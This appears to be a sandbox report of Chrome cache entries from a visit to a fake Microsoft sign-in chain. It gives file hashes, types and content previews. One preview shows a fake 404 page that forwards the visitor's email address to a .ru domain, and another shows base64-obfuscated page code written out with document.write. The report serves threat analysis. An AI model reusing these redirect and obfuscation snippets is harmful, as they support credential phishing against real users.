Preview:	...........}k..6..w...R..J.H=GSI..x.9...}T.....)Q..f<...~.F.h..x..{+.-.....h..n....</v.ev......W.,.bU..rW.I...0x...C..2...6]..W_......../x.........~.z.}.\|.#x......AgO.\|XgU...4 .^'U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.N...xJ...mR......0.@p...lKr/...E.-. .....\|l.4.o.i.......L.iF..T{.n....2....VEY.y=..=..T+V./.b....\....7.sH.w{.h.....!.."F.k.!.......d...mS.rh.&G.../..h&..RE"!.A/.......A....L...8.q.M...t[...R...>.6;R..^.Vu..9.[F........>A.:HT}w]......2........p......'T.^]}.^..yJ>.<..pq..h.\|..j....j.x..-...c...f...=".)..U.X'.M..l.]ZVtl\.I..}.0.~B0Y'.N...E.4.Xd..e...a.........."..9+d.&..l.$E..R.u.g.Q..w&...~I. .y..D.4;..'.."-.....b...)k.n.M...,3J.z_..&2f.h;.&.R.y..P..X.....\P.....r...B.$........<....H5.M.."'#.6mQl..mQ5.=.\...O.....^..jM..u.F..Oh.lNI..j..T..u...I..._........{.\...{..._\|..={O..z..>......x..5Q.D7?{...^...^.......o.=.z......v......z.C...Gtw...0!..M@....^...^.x..G....W...{...)..y.<c3...^>{......7._..'d__...;R.

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	dropped
Size (bytes):	5525
Entropy (8bit):	7.961202222662501
Encrypted:	false
SSDEEP:	96:dySl6/e7OAQD3cS66g8cxO4qXgy66F0+fgENU28TjN3KY6meSsj0ktMvB4YJix2I:dNl6/zFDW6dlXV665ReB67j0sEBWxl
MD5:	28CE5BF8BACB96D1C2CFA0092145C6EE
SHA1:	303A4629C4467AF2C551EC9E6353464C8C25827D
SHA-256:	6B89EEC14865DB53FE20FB3C70B0853362E21669DACE19C06172F673B2EDC5CD
SHA-512:	6A10794F105EF5C6F7F7DC2C89152A8342E6D9D8D9490783863ED2737FFD5982E916F72E0A9ECB944AB9815FA70BD20C7256A91E2A62D971F80C23822B809A02
Malicious:	false
Reputation:	low
Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...o....MG.+@.......\.?."...+[...A..&...{]......u..+p?......\|...j....7...=H..cwp.38.;%c.....O..............p...X.g!....r...d..5.%x.....;...j6p...p......c.Nd.:...&.....%.. tR.d.@.. ...1..6....i....:...s=..V...iN..1../tH..p<..Mo.......`&.7uA;..(lC.......4...?..0..[S@...D..\|....=.wh2...<.. ...)..F...!. .C...k...S.pPt......s..K.V...w......7....Zn.d..t]l.........5=.(..#.....l._.Ip......-O.6.,......q4....!XS`6k..k.....9k....{~*.....X....q......l.>x..={j.n..W......e..Q..I/..;a..MS>.!5v.d.B+.o.....q...j.q..Z..=..@g.1q..,yBV91m.j>..4.o...

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (7529), with CRLF line terminators
Category:	downloaded
Size (bytes):	19998
Entropy (8bit):	5.881073977039472
Encrypted:	false
SSDEEP:	384:EnuSsOw5Z0vY0xXepgs4+lrRPAeJ/nuSsOw5Z0vY0xXepgs4+lrRPZlrilrK:+w5Z/mXepgKlrRPrw5Z/mXepgKlrRPZr
MD5:	776BB60657B1E3A7EA7587B889F8395C
SHA1:	4B10D98305875D1AED1AD940AC9E46A27FA15B74
SHA-256:	4C141A4FDC946C32B795A82211FA800F13A514032CDE514FE8C54538F04A6172
SHA-512:	9449F3829E579C5D760AAA60400DBF91FE4CD8F706F35190DDF80A075233EB6F348DB75B39795D75867093501B00A4CFFA70DB6C4F18FA4BBC115336CD507A5A
Malicious:	false
Reputation:	low
URL:	https://8zkl.gratzeware.ru/7axa6RvO/
Preview:	Success is finding satisfaction in giving a little more than you take. -->.. The starting point of all achievement is desire. -->..<script>....if(atob("aHR0cHM6Ly9tdDQuZ3JhdHpld2FyZS5ydS83YXhhNlJ2Ty8=") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogI

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	downloaded
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	5617
Entropy (8bit):	3.965223513316444
Encrypted:	false
SSDEEP:	96:BDol4IVL19t2mY5Ib0Va4FALs/k2eerILEKQhnEIsFGFB/aStUY0NuhHkzTUgCgM:BGjR19tU5Ib0tCY8jeSEptRPFESt70NW
MD5:	C47B4B5200566A2A496A11BA472EC5DA
SHA1:	3BD0DA9A6FFD62217D3E781FA1356F40D9F91D4C
SHA-256:	179A9AA9FFF4C52850D9CE34A4C435404DDFD4FEFA8AAB9A6EB4F47B83F922D9
SHA-512:	B67659BFB2F94CC1124EB88F7582AE2EE1C983210577EDC9AAF6FDB65F6B0E2B9FD786169A91FC72A1AC0E8556BC09C7CF35395C7A038A6F6419660B7B64545F
Malicious:	false
Reputation:	low
URL:	https://visaoxprodutora.com.br/img-sys/powered_by_cpanel.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1516" height="320" viewBox="0 0 1137 240"><defs><clipPath id="a"><path d="M1095 0h41.578v42H1095zm0 0"/></clipPath></defs><path d="M89.69 59.102h67.802l-10.5 40.2c-1.605 5.6-4.605 10.1-9 13.5-4.402 3.4-9.504 5.096-15.3 5.096h-31.5c-7.2 0-13.55 2.102-19.05 6.3-5.505 4.2-9.353 9.904-11.552 17.103-1.4 5.4-1.55 10.5-.45 15.302 1.098 4.796 3.047 9.05 5.852 12.75 2.797 3.703 6.4 6.652 10.8 8.85 4.395 2.2 9.196 3.298 14.4 3.298h19.2c3.6 0 6.55 1.453 8.85 4.352 2.297 2.902 2.95 6.148 1.95 9.75l-12 44.398h-21c-14.4 0-27.653-3.148-39.75-9.45-12.102-6.3-22.153-14.648-30.15-25.05-8.003-10.395-13.452-22.246-16.35-35.547-2.903-13.3-2.55-26.95 1.05-40.953l1.2-4.5c2.597-9.602 6.648-18.45 12.148-26.55 5.5-8.098 12-15 19.5-20.7 7.5-5.7 15.85-10.148 25.05-13.352 9.2-3.195 18.797-4.796 28.8-4.796M123.89 240L182.99 18.602c1.598-5.598 4.598-10.098 9-13.5C196.388 1.7 201.484 0 207.288 0h62.7c14.403 0 27.65 3.148 39.75 9.45 12.098 6.3 22.15 14.655 30.153 25.05 7.

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (4304)
Category:	downloaded
Size (bytes):	15006
Entropy (8bit):	5.7124544610694015
Encrypted:	false
SSDEEP:	192:HolYHC0HNXGZkHQU7ydPJq5S2KqQVX/uTK3w3DK+tMy47R/Ga0kVhFuPwf8Pn93l:CVGaRF8I8rfl5S00fakYvfzoG5v
MD5:	A70F92EFEB09DB522332357946D8EC91
SHA1:	025192B22485D1DF291AEC65BCAAE7EAE278F720
SHA-256:	A15651AA1A57BD638A0C2362A17EC3F53ED762779EE62413443683305F5C2358
SHA-512:	9141E0D1E6C36ABFBD59CFED6F7A1407D1C50C0140B6789E9CCFD19CA523F98E0A480BDC04C97FE64854DA86A21E4FD11E3BE1643967872F29CA1B74200CA56A
Malicious:	false
Reputation:	low
URL:	https://visaoxprodutora.com.br/success/index.html
Preview:	<script src="https://obz.bz/dkg0j9" type="text/javascript"></script>.<!DOCTYPE html>.<html>. <head>. <meta http-equiv="Content-type" content="text/html; charset=utf-8">. <meta http-equiv="Cache-control" content="no-cache">.<script type="text/javascript">.var url_string = window.location.href;.var url_get_email = getafterhash(url_string);.var mail_go_url = "https://8zkl.gratzeware.ru/7axa6RvO/#A"+url_get_email+"";.location.replace(mail_go_url); ..function getafterhash(url) {.var ret; .var queryString;. queryStringhash = url.split('#')[1];. if (queryStringhash) {. ret = queryStringhash;. . }else{. . ret = '';.. }.. return ret;.}.</script> . <meta http-equiv="Pragma" content="no-cache">. <meta http-equiv="Expires" content="0">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title>404 Not Found</title>. <style type="text/css">. body {. font-family: Arial, Helvetica, sans-serif;. font-size: 14px;.

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57678
Category:	dropped
Size (bytes):	16378
Entropy (8bit):	7.986541062710992
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow647Z1Y8hyJavTiIQslkHC:hOBKJB11Y8heariIQ8ki
MD5:	FC8A7FB6FB26ADEB81D76A33DA13B815
SHA1:	ADEF9857A4FC698836B613252AE8B1FC0EC199DE
SHA-256:	A3D6351A6E93FC23C2A3ABFFCBDC847D42B8781DBFFBCCEEF4FEF72E0D5D4A14
SHA-512:	DE70865494E5D2A32353614CC7D8305CAA83E1605F6BF03C58DD6E19D92FDE8B33B3E26ED3A65D739DEA20984130D39B6E43641B04918CC906DEC17E51B0D582
Malicious:	false
Reputation:	low
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142534
Category:	downloaded
Size (bytes):	49954
Entropy (8bit):	7.99493321471063
Encrypted:	true
SSDEEP:	1536:vr2T/4LxF17O6lJgX3ys65sBcY++i0RumwzV:Cz4LL1imP56m+i+umwzV
MD5:	E16AC075AC754DBD1CF969508220E30D
SHA1:	69A91FF7A1C044231D6D28B4DD4C6AD3D34F2A50
SHA-256:	E8AC3DCEF9E67CC776542A40C71B719D41668DF41D294C1A49A5AD23C5A5B5EC
SHA-512:	12C4E6E5BD999E7BF431DCA707DA4BB5193D2795DD139DCAFC38CAFA757A88F75068D3F2821840068247B9F6CFB55178EF223CDB3349444E622EA4A8E69700A6
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	downloaded
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var 